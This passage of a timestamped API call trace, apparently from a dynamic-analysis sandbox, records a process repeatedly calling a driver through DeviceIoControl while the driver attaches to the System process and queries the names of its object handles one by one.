Handle=0xffffffff80000844, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002309370, HandleInformation=0x0) returned 0x0 [0130.142] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.142] PsReleaseProcessExitSynchronization () returned 0x2 [0130.142] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.142] ObQueryNameString (in: Object=0xfffffa8002309370, ObjectNameInfo=0xfffffa80023fd7c4, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80023fd7c4, ReturnLength=0xfffff88005000550) returned 0x0 [0130.142] ObfDereferenceObject (Object=0xfffffa8002309370) returned 0x2 [0130.142] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.142] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.142] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.142] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.142] PsAcquireProcessExitSynchronization () returned 0x0 [0130.142] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.142] ObReferenceObjectByHandle (in: Handle=0xffffffff80000848, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800213e8e0, HandleInformation=0x0) returned 0x0 [0130.142] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.142] PsReleaseProcessExitSynchronization () returned 0x2 [0130.142] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.142] ObQueryNameString (in: Object=0xfffffa800213e8e0, ObjectNameInfo=0xfffffa80020c0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020c0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.142] ObfDereferenceObject (Object=0xfffffa800213e8e0) returned 0x2 [0130.142] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.142] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.142] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.142] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.142] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.142] PsAcquireProcessExitSynchronization () returned 0x0 [0130.142] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.142] ObReferenceObjectByHandle (in: Handle=0xffffffff80000854, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8003420f20, HandleInformation=0x0) returned 0x0 [0130.142] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.142] PsReleaseProcessExitSynchronization () returned 0x2 [0130.143] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.143] ObQueryNameString (in: Object=0xfffffa8003420f20, ObjectNameInfo=0xfffffa8001a02044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a02044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.143] ObfDereferenceObject (Object=0xfffffa8003420f20) returned 0x2 [0130.143] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.143] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.143] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.143] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.143] PsAcquireProcessExitSynchronization () returned 0x0 [0130.143] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.143] ObReferenceObjectByHandle (in: Handle=0xffffffff80000860, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800288ff20, HandleInformation=0x0) returned 0x0 [0130.143] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.143] PsReleaseProcessExitSynchronization () returned 0x2 [0130.143] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.143] ObQueryNameString (in: Object=0xfffffa800288ff20, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.143] ObfDereferenceObject (Object=0xfffffa800288ff20) returned 0x2 [0130.143] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.143] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.143] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.143] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.143] PsAcquireProcessExitSynchronization () returned 0x0 [0130.143] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.143] ObReferenceObjectByHandle (in: Handle=0xffffffff80000878, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002156050, HandleInformation=0x0) returned 0x0 [0130.143] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.143] PsReleaseProcessExitSynchronization () returned 0x2 [0130.143] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.143] ObQueryNameString (in: Object=0xfffffa8002156050, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.143] ObfDereferenceObject (Object=0xfffffa8002156050) returned 0x2 [0130.143] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.143] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.143] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.143] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.143] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.143] PsAcquireProcessExitSynchronization () returned 0x0 [0130.144] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.144] ObReferenceObjectByHandle (in: Handle=0xffffffff80000884, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800200a420, HandleInformation=0x0) returned 0x0 [0130.144] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.144] PsReleaseProcessExitSynchronization () returned 0x2 [0130.144] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.144] ObQueryNameString (in: Object=0xfffffa800200a420, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.144] ObfDereferenceObject (Object=0xfffffa800200a420) returned 0x2 [0130.144] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.144] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.144] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.144] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.144] PsAcquireProcessExitSynchronization () returned 0x0 [0130.144] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.144] ObReferenceObjectByHandle (in: Handle=0xffffffff80000888, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80037f1b20, HandleInformation=0x0) returned 0x0 [0130.144] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.144] PsReleaseProcessExitSynchronization () returned 0x2 [0130.144] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.144] ObQueryNameString (in: Object=0xfffffa80037f1b20, ObjectNameInfo=0xfffffa8001a10044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a10044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.144] ObfDereferenceObject (Object=0xfffffa80037f1b20) returned 0x2 [0130.144] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.144] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.144] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.144] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.144] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.144] PsAcquireProcessExitSynchronization () returned 0x0 [0130.144] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.144] ObReferenceObjectByHandle (in: Handle=0xffffffff80000894, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002132480, HandleInformation=0x0) returned 0x0 [0130.144] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.145] PsReleaseProcessExitSynchronization () returned 0x2 [0130.145] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.145] ObQueryNameString (in: Object=0xfffffa8002132480, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.145] ObfDereferenceObject (Object=0xfffffa8002132480) returned 0x2 [0130.145] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.145] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.145] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.145] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.145] PsAcquireProcessExitSynchronization () returned 0x0 [0130.145] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.145] ObReferenceObjectByHandle (in: Handle=0xffffffff8000089c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800f5f7050, HandleInformation=0x0) returned 0x0 [0130.145] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.145] PsReleaseProcessExitSynchronization () returned 0x2 [0130.145] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.145] ObQueryNameString (in: Object=0xfffffa800f5f7050, ObjectNameInfo=0xfffffa8001a00044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a00044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.145] ObfDereferenceObject (Object=0xfffffa800f5f7050) returned 0x2 [0130.145] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.145] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.145] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.145] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.145] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.145] PsAcquireProcessExitSynchronization () returned 0x0 [0130.145] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.145] ObReferenceObjectByHandle (in: Handle=0xffffffff800008a0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80023577b0, HandleInformation=0x0) returned 0x0 [0130.145] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.145] PsReleaseProcessExitSynchronization () returned 0x2 [0130.145] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.145] ObQueryNameString (in: Object=0xfffffa80023577b0, ObjectNameInfo=0xfffffa8001ffb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001ffb044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.146] ObfDereferenceObject (Object=0xfffffa80023577b0) returned 0x2 [0130.146] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.146] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.146] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.146] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.146] PsAcquireProcessExitSynchronization () returned 0x0 [0130.146] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.146] ObReferenceObjectByHandle (in: Handle=0xffffffff800008a4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800231b5f0, HandleInformation=0x0) returned 0x0 [0130.146] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.146] PsReleaseProcessExitSynchronization () returned 0x2 [0130.146] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.146] ObQueryNameString (in: Object=0xfffffa800231b5f0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.146] ObfDereferenceObject (Object=0xfffffa800231b5f0) returned 0x2 [0130.146] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.146] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.146] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.146] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.146] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.146] PsAcquireProcessExitSynchronization () returned 0x0 [0130.146] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.146] ObReferenceObjectByHandle (in: Handle=0xffffffff800008ac, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002503050, HandleInformation=0x0) returned 0x0 [0130.146] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.146] PsReleaseProcessExitSynchronization () returned 0x2 [0130.146] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.146] ObQueryNameString (in: Object=0xfffffa8002503050, ObjectNameInfo=0xfffffa8001a03044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a03044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.146] ObfDereferenceObject (Object=0xfffffa8002503050) returned 0x2 [0130.146] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.147] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.147] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.147] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.147] PsAcquireProcessExitSynchronization () returned 0x0 [0130.147] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.147] ObReferenceObjectByHandle (in: Handle=0xffffffff800008b4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80021521f0, HandleInformation=0x0) returned 0x0 [0130.147] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.147] PsReleaseProcessExitSynchronization () returned 0x2 [0130.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.147] ObQueryNameString (in: Object=0xfffffa80021521f0, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.147] ObfDereferenceObject (Object=0xfffffa80021521f0) returned 0x2 [0130.147] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.147] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.147] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.147] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.147] PsAcquireProcessExitSynchronization () returned 0x0 [0130.147] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.147] ObReferenceObjectByHandle (in: Handle=0xffffffff800008b8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800250e1c0, HandleInformation=0x0) returned 0x0 [0130.147] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.147] PsReleaseProcessExitSynchronization () returned 0x2 [0130.147] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.147] ObQueryNameString (in: Object=0xfffffa800250e1c0, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.147] ObfDereferenceObject (Object=0xfffffa800250e1c0) returned 0x2 [0130.147] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.147] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.147] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.147] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0130.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.148] PsAcquireProcessExitSynchronization () returned 0x0 [0130.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.148] ObReferenceObjectByHandle (in: Handle=0xffffffff800008bc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa80023084d0, HandleInformation=0x0) returned 0x0 [0130.148] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.148] PsReleaseProcessExitSynchronization () returned 0x2 [0130.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.148] ObQueryNameString (in: Object=0xfffffa80023084d0, ObjectNameInfo=0xfffffa8001a08044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a08044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.148] ObfDereferenceObject (Object=0xfffffa80023084d0) returned 0x2 [0130.148] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.148] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1e605e0 | out: hHeap=0x190000) returned 1 [0130.148] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1e605e0 [0130.148] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1e605e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1e605e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0130.148] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0130.148] PsAcquireProcessExitSynchronization () returned 0x0 [0130.148] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880050005d0) [0130.148] ObReferenceObjectByHandle (in: Handle=0xffffffff800008c4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2000, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002665050, HandleInformation=0x0) returned 0x0 [0130.148] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0130.148] PsReleaseProcessExitSynchronization () returned 0x2 [0130.148] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x19a [0130.148] ObQueryNameString (in: Object=0xfffffa8002665050, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005000550) returned 0x0 [0130.148] ObfDereferenceObject (Object=0xfffffa8002665050) returned 0x2 [0130.148] IofCompleteRequest (Irp=0xfffffa800c9fb010, PriorityBoost=0) [0130.148] HeapFree (in: hHeap=0x190000, 